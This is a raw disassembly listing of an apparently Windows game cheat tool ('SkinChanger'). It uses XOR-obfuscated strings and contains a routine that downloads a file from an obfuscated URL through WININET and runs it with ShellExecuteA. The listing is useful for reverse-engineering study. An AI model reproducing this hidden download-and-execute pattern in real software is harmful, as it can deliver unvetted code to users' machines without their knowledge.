mov byte [rbp + 0x1f], r11b
xor bl, 0x1d
mov byte [rbp + 0x20], bl
xor dil, 0x1d
mov byte [rbp + 0x21], dil
mov byte [rbp + 0x22], sil
lea rdx, [0x1400d5146]
lea rcx, [rbp + 0x19]
call fcn.140056db0
test al, al
je 0x14000fe82
call fcn.140007300
mov byte [rbp + 0x18], reloc.WLDAP32.dll_Ordinal_50
mov al, reloc.WS2_32.dll_WSACleanup
mov cl, 0x5b
mov dl, 0x4a
mov r8b, reloc.WS2_32.dll_select
mov r9b, 0x61
mov r10b, 0x57
mov r11b, 0x5c
mov bl, 0x41
xor al, 0x32
mov byte [rbp + 0x19], al
xor cl, 0x32
mov byte [rbp + 0x1a], cl
xor dl, 0x32
mov byte [rbp + 0x1b], dl
xor r8b, 0x32
mov byte [rbp + 0x1c], r8b
xor r9b, 0x32
mov byte [rbp + 0x1d], r9b
xor r10b, 0x32
mov byte [rbp + 0x1e], r10b
xor r11b, 0x32
mov byte [rbp + 0x1f], r11b
xor bl, 0x32
mov byte [rbp + 0x20], bl
mov byte [rbp + 0x21], sil
lea rdx, [0x1400d5130]
lea rcx, [rbp + 0x19]
call fcn.140056db0
test al, al
je 0x14000feee
call fcn.140007740
mov byte [rbp + 0x18], 0x3f
mov al, 0x76
mov cl, 0x51
mov dl, 0x49
mov r8b, 0x56
mov r9b, 0x4c
movzx r10d, r8b
mov r11b, 0x5d
movzx ebx, r8b
mov dil, 0x53
movzx esi, r8b
mov r14b, 0x4b
mov r15b, 0x46
xor r12d, r12d
xor al, 0x3f
mov byte [rbp + 0x19], al
xor cl, 0x3f
mov byte [rbp + 0x1a], cl
xor dl, 0x3f
mov byte [rbp + 0x1b], dl
xor r8b, 0x3f
mov byte [rbp + 0x1c], r8b
xor r9b, 0x3f
mov byte [rbp + 0x1d], r9b
xor r10b, 0x3f
mov byte [rbp + 0x1e], r10b
xor r11b, 0x3f
mov byte [rbp + 0x1f], r11b
xor bl, 0x3f
mov byte [rbp + 0x20], bl
xor dil, 0x3f
mov byte [rbp + 0x21], dil
xor sil, 0x3f
mov byte [rbp + 0x22], sil
xor r14b, 0x3f
mov byte [rbp + 0x23], r14b
xor r15b, 0x3f
mov byte [rbp + 0x24], r15b
mov byte [rbp + 0x25], r12b
lea rdx, [0x1400d5147]
lea rcx, [rbp + 0x19]
call fcn.140056db0
test al, al
je 0x14000ff8d
call fcn.140007e70
mov byte [rbp + 0x18], 0xa
mov al, 0x5d
mov cl, 0x6b
mov dl, 0x66
movzx r8d, dl
mov r9b, 0x2a
mov r10b, 0x59
mov r11b, 0x62
mov bl, 0x65
mov dil, 0x7e
xor esi, esi
xor al, 0xa
mov byte [rbp + 0x19], al
xor cl, 0xa
mov byte [rbp + 0x1a], cl
xor dl, 0xa
mov byte [rbp + 0x1b], dl
xor r8b, 0xa
mov byte [rbp + 0x1c], r8b
xor r9b, 0xa
mov byte [rbp + 0x1d], r9b
xor r10b, 0xa
mov byte [rbp + 0x1e], r10b
xor r11b, 0xa
mov byte [rbp + 0x1f], r11b
xor bl, 0xa
mov byte [rbp + 0x20], bl
xor dil, 0xa
mov byte [rbp + 0x21], dil
mov byte [rbp + 0x22], sil
lea rdx, [0x1400d5136]
lea rcx, [rbp + 0x19]
call fcn.140056db0
test al, al
je 0x140010007
call fcn.140007b20
call fcn.140022970
movaps xmm0, xmmword [0x1400c32b0]
movups xmmword [rbp + 0x18], xmm0
lea rcx, [rbp + 0x18]
call fcn.140019ff0
movss xmm1, dword [rbp + 0x14]
addss xmm1, xmm8
movss xmm0, dword [rbp + 0x10]
addss xmm0, xmm11
movss dword [rsp + 0x50], xmm0
movss dword [rsp + 0x54], xmm1
mov qword [rsp + 0x40], r12
movss dword [rsp + 0x38], xmm7
mov qword [rsp + 0x30], r12
lea rcx, str.Other
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x50]
movaps xmm2, xmm9
mov rdx, qword [0x1400d5190]
mov rcx, r13
call fcn.140049650
mov dword [rsp + 0x50], 0x438e8000
mov dword [rsp + 0x54], 0x42aa0000
lea rcx, [rsp + 0x50]
call fcn.14002a2a0
mov dword [rbp + 0x38], 0x433e0000
mov dword [rbp + 0x3c], 0x43898000
mov rcx, qword [0x1400d51c0]
mov rax, qword [rcx + 0x3fe0]
mov byte [rax + 0xcd], 1
xor r8d, r8d
lea rdx, str.container1
mov rcx, qword [rcx + 0x3fe0]
call fcn.14001cea0
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0x38]
lea rcx, str.container1
call fcn.140022740
call fcn.140022970
mov edx, dword [0x1400d57d0]
cmp edx, 3
jne 0x14001114a
movaps xmm0, xmmword [0x1400c32b0]
movups xmmword [rbp + 0x18], xmm0
lea rcx, [rbp + 0x18]
call fcn.140019ff0
movss xmm1, dword [rbp + 0x14]
addss xmm1, xmm8
movss xmm0, dword [rbp + 0x10]
addss xmm0, xmm10
movss dword [rsp + 0x50], xmm0
movss dword [rsp + 0x54], xmm1
mov qword [rsp + 0x40], r12
movss dword [rsp + 0x38], xmm7
mov qword [rsp + 0x30], r12
lea rcx, str.SkinChanger
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x50]
movaps xmm2, xmm9
mov rdx, qword [0x1400d5190]
mov rcx, r13
call fcn.140049650
mov dword [rsp + 0x50], 0x41c80000
mov dword [rsp + 0x54], 0x42aa0000
lea rcx, [rsp + 0x50]
call fcn.14002a2a0
mov dword [rbp + 0x38], 0x44160000
mov dword [rbp + 0x3c], 0x43898000
mov rcx, qword [0x1400d51c0]
mov rax, qword [rcx + 0x3fe0]
mov byte [rax + 0xcd], 1
xor r8d, r8d
lea rdx, str.container
mov rcx, qword [rcx + 0x3fe0]
call fcn.14001cea0
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0x38]
lea rcx, str.container
call fcn.140022740
cmp byte [0x1400d517a], 0
jne 0x14001092c
mov byte [rbp + 0x18], 0x7c
mov al, reloc.WLDAP32.dll_Ordinal_46
mov cl, Ordinal_26
mov dl, listen
mov r8b, reloc.WS2_32.dll_recv
mov r9b, Ordinal_30
mov r10b, Ordinal_33
movzx r11d, cl
mov bl, reloc.WLDAP32.dll_Ordinal_30
movzx edi, r8b
movzx esi, cl
xor r14d, r14d
xor al, 0x7c
mov byte [rbp + 0x19], al
xor cl, 0x7c
mov byte [rbp + 0x1a], cl
xor dl, 0x7c
mov byte [rbp + 0x1b], dl
xor r8b, 0x7c
mov byte [rbp + 0x1c], r8b
xor r9b, 0x7c
mov byte [rbp + 0x1d], r9b
xor r10b, 0x7c
mov byte [rbp + 0x1e], r10b
xor r11b, 0x7c
mov byte [rbp + 0x1f], r11b
xor bl, 0x7c
mov byte [rbp + 0x20], bl
xor dil, 0x7c
mov byte [rbp + 0x21], dil
xor sil, 0x7c
mov byte [rbp + 0x22], sil
mov byte [rbp + 0x23], r14b
mov byte [rsp + 0x50], 0x40
mov al, 0x63
movzx ecx, al
mov dl, reloc.WS2_32.dll_select
mov r8b, 0x25
mov r9b, Ordinal_50
mov r10b, Ordinal_45
mov r11b, reloc.WLDAP32.dll_Ordinal_33
mov bl, reloc.WLDAP32.dll_Ordinal_35
movzx edi, r8b
mov sil, Ordinal_35
movzx r14d, r10b
movzx r15d, r8b
xor r12d, r12d
xor al, 0x40
mov byte [rsp + 0x51], al
xor cl, 0x40
mov byte [rsp + 0x52], cl
xor dl, 0x40
mov byte [rsp + 0x53], dl
xor r8b, 0x40
mov byte [rsp + 0x54], r8b
xor r9b, 0x40
mov byte [rsp + 0x55], r9b
xor r10b, 0x40
mov byte [rsp + 0x56], r10b
xor r11b, 0x40
mov byte [rsp + 0x57], r11b
xor bl, 0x40
mov byte [rsp + 0x58], bl
xor dil, 0x40
mov byte [rsp + 0x59], dil
xor sil, 0x40
mov byte [rsp + 0x5a], sil
xor r14b, 0x40
mov byte [rsp + 0x5b], r14b
xor r15b, 0x40
mov byte [rsp + 0x5c], r15b
mov byte [rsp + 0x5d], r12b
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], reloc.WLDAP32.dll_Ordinal_33
lea r9d, [r12 + 9]
lea rdi, [0x1400d5180]
mov r8, rdi
lea rdx, [rbp + 0x19]
lea rcx, [rsp + 0x51]
call fcn.140059170
mov byte [rbp + 0x38], reloc.WS2_32.dll_setsockopt
mov al, 0x5b
mov cl, reloc.WS2_32.dll_WSASetLastError
mov dl, 0x62
xor r8d, r8d
xor al, 0x15
mov byte [rbp + 0x39], al
xor cl, 0x15
mov byte [rbp + 0x3a], cl
xor dl, 0x15
mov byte [rbp + 0x3b], dl
mov byte [rbp + 0x3c], r8b
mov byte [rsp + 0x50], 1
mov al, Ordinal_35
movzx ecx, al
mov dl, reloc.WLDAP32.dll_Ordinal_79
mov r8b, 0x64
mov r10b, 0x76
xor r9d, r9d
xor al, 1
mov byte [rsp + 0x51], al
xor cl, 1
mov byte [rsp + 0x52], cl
xor dl, 1
mov byte [rsp + 0x53], dl
xor r8b, 1
mov byte [rsp + 0x54], r8b
xor r10b, 1
mov byte [rsp + 0x55], r10b
mov byte [rsp + 0x56], r9b
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], reloc.WLDAP32.dll_Ordinal_33
lea r9d, [r12 + 9]
lea rsi, [0x1400d5150]
mov r8, rsi
lea rdx, [rbp + 0x39]
lea rcx, [rsp + 0x51]
call fcn.140059170
mov dword [rsp + 0x50], 0x42700000
mov dword [rsp + 0x54], 0x41a00000
mov byte [rbp + 0x18], Ordinal_50
mov al, 0x63
mov cl, 0x54
mov dl, 0x41
mov r8b, 0x5d
mov r9b, 0x50
mov r10b, 0x52
movzx r11d, cl
xor ebx, ebx
xor al, 0x31
mov byte [rbp + 0x19], al
xor cl, 0x31
mov byte [rbp + 0x1a], cl
xor dl, 0x31
mov byte [rbp + 0x1b], dl
xor r8b, 0x31
mov byte [rbp + 0x1c], r8b
xor r9b, 0x31
mov byte [rbp + 0x1d], r9b
xor r10b, 0x31
mov byte [rbp + 0x1e], r10b
xor r11b, 0x31
mov byte [rbp + 0x1f], r11b
mov byte [rbp + 0x20], bl
xor r8d, r8d
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x19]
call fcn.140055590
test al, al
je 0x140010469
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdi + rax], bl
jne 0x140010420
test rax, rax
je 0x140010469
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rsi + rax], bl
jne 0x140010434
test rax, rax
je 0x140010469
lea rdx, [0x14000a4d0]
lea rcx, [rbp + 0x18]
call fcn.1400164f0
nop
lea rcx, [rbp + 0x18]
call fcn.140001a60
nop
cmp dword [rbp + 0x20], 0
je 0x140010469
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
cmp byte [0x1400d5145], 0
je 0x1400104f6
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.14002a1f0
mov byte [rbp + 0x18], reloc.WLDAP32.dll_Ordinal_32
mov al, 0x4c
mov cl, reloc.WLDAP32.dll_Ordinal_79
mov dl, 0x41
mov r8b, 0x44
mov r9b, 0x49
mov r10b, Ordinal_79
mov r11b, 0x47
mov bl, reloc.WS2_32.dll_ntohl
movzx edi, bl
movzx esi, bl
xor r14d, r14d
xor al, 0x20
mov byte [rbp + 0x19], al
xor cl, 0x20
mov byte [rbp + 0x1a], cl
xor dl, 0x20
mov byte [rbp + 0x1b], dl
xor r8b, 0x20
mov byte [rbp + 0x1c], r8b
xor r9b, 0x20
mov byte [rbp + 0x1d], r9b
xor r10b, 0x20
mov byte [rbp + 0x1e], r10b
xor r11b, 0x20
mov byte [rbp + 0x1f], r11b
xor bl, 0x20
mov byte [rbp + 0x20], bl
xor dil, 0x20
mov byte [rbp + 0x21], dil
xor sil, 0x20
mov byte [rbp + 0x22], sil
mov byte [rbp + 0x23], r14b
lea rcx, [rbp + 0x19]
call fcn.140054cf0
mov dword [rsp + 0x50], 0x43020000
mov dword [rsp + 0x54], 0x41a00000
movdqa xmm1, xmmword [str._zQIPRQ_Z]
movdqu xmmword [rbp + 0x18], xmm1
mov dl, 0x77
mov r8b, 0x7a
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x19], al
xor byte [rbp + 0x1a], cl
xor byte [rbp + 0x1b], cl
xor byte [rbp + 0x1c], cl
xor byte [rbp + 0x1d], cl
xor byte [rbp + 0x1e], cl
xor byte [rbp + 0x1f], cl
xor byte [rbp + 0x20], cl
xor byte [rbp + 0x21], cl
xor byte [rbp + 0x22], cl
xor byte [rbp + 0x23], cl
xor byte [rbp + 0x24], cl
xor byte [rbp + 0x25], cl
xor byte [rbp + 0x26], cl
xor byte [rbp + 0x27], cl
xor dl, cl
mov byte [rbp + 0x28], dl
xor r8b, cl
mov byte [rbp + 0x29], r8b
mov byte [rbp + 0x2a], 0
xor r8d, r8d
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x19]
call fcn.140055590
test al, al
je 0x1400108ab
mov byte [rsp + 0x50], WSAGetLastError
mov al, reloc.WLDAP32.dll_Ordinal_32
mov cl, reloc.WS2_32.dll_sendto
mov dl, Ordinal_45
mov r8b, Ordinal_30
movzx r9d, r8b
xor r10d, r10d
xor al, 0x6d
mov byte [rsp + 0x51], al
xor cl, 0x6d
mov byte [rsp + 0x52], cl
xor dl, 0x6d
mov byte [rsp + 0x53], dl
xor r8b, 0x6d
mov byte [rsp + 0x54], r8b
xor r9b, 0x6d
mov byte [rsp + 0x55], r9b
mov byte [rsp + 0x56], r10b
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea edx, [r10 + 1]
lea rcx, [rsp + 0x51]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
movdqa xmm0, xmmword [0x1400c3890]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1400c3ab0]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x1400c3010]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [str.______:____vxpaf:______TQAXQA_TAQQAUQA_WCPCSRCSSCSSCS_WRB_RBWBRRBVRB1_6hd__6_d____DV_D_UDTTDQTD_TD_WDTPDTTDTTDU_QD_WDTTDTTDTTDU_D]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [0x1400c3230]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x1400c37e0]
movdqa xmmword [rbp - 0x10], xmm1
xor eax, eax
mov byte [rbp], al
mov rcx, r12
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x5f], al
movzx eax, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x5e], al
movzx eax, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x5d], al
movzx eax, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x5c], al
movzx eax, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x5b], al
movzx eax, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x5a], al
movzx eax, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x59], al
movzx eax, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x58], al
movzx eax, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x57], al
movzx eax, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x56], al
movzx eax, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x55], al
movzx eax, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x54], al
movzx eax, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x53], al
movzx eax, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x52], al
movzx eax, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x51], al
movzx eax, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x50], al
movzx eax, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x4f], al
movzx eax, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x4e], al
movzx eax, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x4d], al
add rcx, 0x13
cmp rcx, 0x5f
jb 0x140010640
mov byte [rbp], 0
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x5f]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x14001071b
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x40]
call sub.VCRUNTIME140.dll_memset
movdqa xmm1, xmmword [0x1400c3b90]
movdqu xmmword [rbp + 0x18], xmm1
mov dl, 0x76
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x19], al
xor byte [rbp + 0x1a], cl
xor byte [rbp + 0x1b], cl
xor byte [rbp + 0x1c], cl
xor byte [rbp + 0x1d], cl
xor byte [rbp + 0x1e], cl
xor byte [rbp + 0x1f], cl
xor byte [rbp + 0x20], cl
xor byte [rbp + 0x21], cl
xor byte [rbp + 0x22], cl
xor byte [rbp + 0x23], cl
xor byte [rbp + 0x24], cl
xor byte [rbp + 0x25], cl
xor byte [rbp + 0x26], cl
xor byte [rbp + 0x27], cl
xor dl, cl
mov byte [rbp + 0x28], dl
mov byte [rbp + 0x29], 0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x20]
lea rdx, [rbp + 0x19]
lea rcx, [rbp + 0x40]
call fcn.140012440
nop
lea r9, [rbp + 0x38]
mov r8d, 0x1000
lea rdx, [rbp + 0x150]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400107fb
mov eax, dword [rbp + 0x38]
test eax, eax
je 0x1400107fb
mov r8d, eax
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea r9, [rbp + 0x38]
mov r8d, 0x1000
lea rdx, [rbp + 0x150]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400107c2
lea rcx, [rbp + 0x40]
call fcn.1400122f0
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movdqa xmm1, xmmword [0x1400c39a0]
movdqu xmmword [rbp + 0x18], xmm1
mov dl, 0x63
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x19], al
xor byte [rbp + 0x1a], cl
xor byte [rbp + 0x1b], cl
xor byte [rbp + 0x1c], cl
xor byte [rbp + 0x1d], cl
xor byte [rbp + 0x1e], cl
xor byte [rbp + 0x1f], cl
xor byte [rbp + 0x20], cl
xor byte [rbp + 0x21], cl
xor byte [rbp + 0x22], cl
xor byte [rbp + 0x23], cl
xor byte [rbp + 0x24], cl
xor byte [rbp + 0x25], cl
xor byte [rbp + 0x26], cl
xor byte [rbp + 0x27], cl
xor dl, cl
mov byte [rbp + 0x28], dl
mov byte [rbp + 0x29], 0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp + 0x19]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
lea rcx, [rbp + 0xe8]
call fcn.140012330
lea rcx, [rbp + 0xe8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov dword [rsp + 0x50], 0x42700000
mov dword [rsp + 0x54], 0x41a00000
mov byte [rbp + 0x18], 0x33
mov al, reloc.WS2_32.dll_WSASetLastError
mov cl, 0x5c
mov dl, 0x5d
mov r8b, 0x55
mov r9b, 0x5a
mov r10b, 0x54
mov r11b, 0x40
xor ebx, ebx
xor al, 0x33
mov byte [rbp + 0x19], al
xor cl, 0x33
mov byte [rbp + 0x1a], cl
xor dl, 0x33
mov byte [rbp + 0x1b], dl
xor r8b, 0x33
mov byte [rbp + 0x1c], r8b
xor r9b, 0x33
mov byte [rbp + 0x1d], r9b
xor r10b, 0x33
mov byte [rbp + 0x1e], r10b
xor r11b, 0x33
mov byte [rbp + 0x1f], r11b
mov byte [rbp + 0x20], bl
xor r8d, r8d
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x19]
call fcn.140055590
test al, al
je 0x14001113f
mov byte [0x1400d517a], 1
jmp 0x14001113f
mov dword [rbp + 0x18], 0x43b40000
mov dword [rbp + 0x1c], 0x435e0000
mov byte [rsp + 0x50], 4
mov al, 0x67
mov cl, 0x6c
mov dl, 0x6d
mov r8b, 0x68
mov r9b, 0x60
mov r10b, reloc.WLDAP32.dll_Ordinal_50
xor r11d, r11d
xor al, 4
mov byte [rsp + 0x51], al
xor cl, 4
mov byte [rsp + 0x52], cl
xor dl, 4
mov byte [rsp + 0x53], dl
xor r8b, 4
mov byte [rsp + 0x54], r8b
xor r9b, 4
mov byte [rsp + 0x55], r9b
xor r10b, 4
mov byte [rsp + 0x56], r10b
mov byte [rsp + 0x57], r11b
mov rcx, qword [0x1400d51c0]
mov rax, qword [rcx + 0x3fe0]
mov byte [rax + 0xcd], 1
xor r8d, r8d
lea rdx, [rsp + 0x51]
mov rcx, qword [rcx + 0x3fe0]
call fcn.14001cea0
mov edx, eax
mov dword [rsp + 0x20], r12d
mov r9b, 1
lea r8, [rbp + 0x18]
lea rcx, [rsp + 0x51]
call fcn.140022740
mov byte [rbp + 0x18], 2
mov al, 0x41
mov cl, 0x6d
mov dl, 0x6c
mov r8b, 0x64
mov r9b, 0x6b
mov r10b, 0x65
mov r11b, WSAStartup
xor ebx, ebx
xor al, 2
mov byte [rbp + 0x19], al
xor cl, 2
mov byte [rbp + 0x1a], cl
xor dl, 2
mov byte [rbp + 0x1b], dl
xor r8b, 2
mov byte [rbp + 0x1c], r8b
xor r9b, 2
mov byte [rbp + 0x1d], r9b
xor r10b, 2
mov byte [rbp + 0x1e], r10b
xor r11b, 2
mov byte [rbp + 0x1f], r11b
mov byte [rbp + 0x20], bl
lea rcx, [rbp + 0x19]
call fcn.140054cf0
call fcn.140057bd0
call fcn.14000de90
call fcn.140022970
mov dword [rbp + 0x18], 0x43b90000
mov dword [rbp + 0x1c], 0x42f00000
lea rcx, [rbp + 0x18]
call fcn.14002a2a0
cmp qword [0x1400d4130], rbx
jne 0x140010ae3
mov dword [rbp + 0x18], 0x40a00000
mov dword [rbp + 0x1c], 0x40a00000
mov cl, 0x66
mov dl, 0x4d
mov r8b, 0x4a
movzx r9d, r8b
mov r10b, 0x56
mov r11b, 0x40
xor eax, eax
mov byte [rsp + 0x57], al
xor cl, 0x25
xor dl, 0x25
xor r8b, 0x25
xor r9b, 0x25
xor r10b, 0x25
xor r11b, 0x25
mov byte [rsp + 0x50], 0x7e
xor cl, 0x7e
xor dl, 0x7e
xor r8b, 0x7e
xor r9b, 0x7e
xor r10b, 0x7e
xor r11b, 0x7e
mov al, 0x7e
xor cl, al
mov byte [rsp + 0x51], cl
xor dl, al
mov byte [rsp + 0x52], dl
xor r8b, al
mov byte [rsp + 0x53], r8b
xor r9b, al
mov byte [rsp + 0x54], r9b
xor r10b, al
mov byte [rsp + 0x55], r10b
xor r11b, al
mov byte [rsp + 0x56], r11b
xor al, al
mov byte [rsp + 0x57], al
mov byte [rsp + 0x58], bl
lea rcx, [rsp + 0x51]
jmp 0x140010b00
mov dword [rbp + 0x18], 0x42c80000
mov dword [rbp + 0x1c], 0x42480000
lea rcx, [0x1400d4120]
call fcn.1400139e0
mov rcx, rax
xor r8d, r8d
lea rdx, [rbp + 0x18]
call fcn.140055590
mov dword [rbp + 0x18], 0x43b98000
mov dword [rbp + 0x1c], 0x42180000
lea rcx, [rbp + 0x18]
call fcn.14002a2a0
mov rax, qword [0x1400d51c0]
or dword [rax + 0x409c], 1
mov dword [rax + 0x40a0], 0x42dc0000
mov byte [rsp + 0x50], WSAStartup
mov al, reloc.WLDAP32.dll_Ordinal_50
mov cl, reloc.WLDAP32.dll_Ordinal_30
mov dl, Ordinal_32
mov r8b, reloc.WS2_32.dll_socket
mov r9b, Ordinal_26
mov r10b, reloc.WLDAP32.dll_Ordinal_22
mov r11b, 0x51
movzx ebx, dl
mov dil, reloc.WS2_32.dll_recv
mov sil, Ordinal_30
mov r14b, reloc.WS2_32.dll_sendto
xor r15d, r15d
xor al, 0x71
mov byte [rsp + 0x51], al
xor cl, 0x71
mov byte [rsp + 0x52], cl
xor dl, 0x71
mov byte [rsp + 0x53], dl
xor r8b, 0x71
mov byte [rsp + 0x54], r8b
xor r9b, 0x71
mov byte [rsp + 0x55], r9b
xor r10b, 0x71
mov byte [rsp + 0x56], r10b
xor r11b, 0x71
mov byte [rsp + 0x57], r11b
xor bl, 0x71
mov byte [rsp + 0x58], bl
xor dil, 0x71
mov byte [rsp + 0x59], dil
xor sil, 0x71
mov byte [rsp + 0x5a], sil
xor r14b, 0x71
mov byte [rsp + 0x5b], r14b
mov byte [rsp + 0x5c], r15b
mov byte [rbp + 0x18], reloc.WLDAP32.dll_Ordinal_32
mov al, 3
movzx ecx, al
mov dl, 0x43
mov r8b, reloc.WLDAP32.dll_Ordinal_79
mov r9b, Ordinal_79
mov r10b, 0x46
mov r11b, 0x49
mov bl, 0x47
xor edi, edi
xor al, 0x20
mov byte [rbp + 0x19], al
xor cl, 0x20
mov byte [rbp + 0x1a], cl
xor dl, 0x20
mov byte [rbp + 0x1b], dl
xor r8b, 0x20
mov byte [rbp + 0x1c], r8b
xor r9b, 0x20
mov byte [rbp + 0x1d], r9b
xor r10b, 0x20
mov byte [rbp + 0x1e], r10b
xor r11b, 0x20
mov byte [rbp + 0x1f], r11b
xor bl, 0x20
mov byte [rbp + 0x20], bl
mov byte [rbp + 0x21], dil
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
lea r9d, [r15 + 0xd]
lea rbx, [0x1400d5138]
mov r8, rbx
lea rdx, [rsp + 0x51]
lea rcx, [rbp + 0x19]
call fcn.140059170
mov dword [rbp + 0x18], 0x43b98000
mov dword [rbp + 0x1c], 0x42800000
lea rcx, [rbp + 0x18]
call fcn.14002a2a0
mov dword [rbp + 0x18], 0x42dc0000
mov dword [rbp + 0x1c], 0x41a80000
mov byte [rsp + 0x50], 0x5d
mov al, reloc.WLDAP32.dll_Ordinal_30
mov cl, 0x2f
mov dl, gethostname
mov r8b, reloc.WLDAP32.dll_Ordinal_60
mov r9b, reloc.WLDAP32.dll_Ordinal_41
movzx r10d, dl
xor al, 0x5d
mov byte [rsp + 0x51], al
xor cl, 0x5d
mov byte [rsp + 0x52], cl
xor dl, 0x5d
mov byte [rsp + 0x53], dl
xor r8b, 0x5d
mov byte [rsp + 0x54], r8b
xor r9b, 0x5d
mov byte [rsp + 0x55], r9b
xor r10b, 0x5d
mov byte [rsp + 0x56], r10b
mov byte [rsp + 0x57], dil
xor r8d, r8d
lea rdx, [rbp + 0x18]
lea rcx, [rsp + 0x51]
call fcn.140055590
test al, al
je 0x140010dc5
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rbx + rax], dil
jne 0x140010cd0
test rax, rax
je 0x140010dbe
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x40]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x38], 0x76
mov al, 0x58
mov cl, 3
mov r8b, reloc.WS2_32.dll_select
xor al, 0x76
mov byte [rbp + 0x39], al
xor cl, 0x76
mov byte [rbp + 0x3a], cl
xor r8b, 0x76
mov byte [rbp + 0x3b], r8b
mov byte [rbp + 0x3c], dil
mov rdx, rbx
lea rcx, [rsp + 0x70]
call fcn.140012ec0
nop
mov r8, rax
lea rdx, [0x1400d5230]
lea rcx, [rsp + 0x50]
call fcn.140014410
nop
lea rcx, [rbp + 0x39]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rcx + r8], 0
jne 0x140010d43
lea rdx, [rbp + 0x39]
mov rcx, rax
call fcn.140013950
mov rdx, rax
lea rcx, [rbp + 0x18]
call fcn.140012e90
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x40]
call fcn.1400123f0
nop
lea rcx, [rbp + 0x18]
call fcn.140012e30
nop
lea rcx, [rsp + 0x50]
call fcn.140012e30
nop
lea rcx, [rsp + 0x70]
call fcn.140012e30
lea rcx, [rbp + 0xe8]
call fcn.140012330
lea rcx, [rbp + 0xe8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov byte [0x1400d5138], 0
mov dword [rbp + 0x18], 0x43b98000
mov dword [rbp + 0x1c], 0x42b40000
lea rcx, [rbp + 0x18]
call fcn.14002a2a0
mov dword [rbp + 0x18], 0x42dc0000
mov dword [rbp + 0x1c], 0x41a80000
mov byte [rbp + 0x38], 0x33
mov al, 0x7f
mov cl, 0x5c
mov dl, 0x52
mov r8b, 0x57
xor r9d, r9d
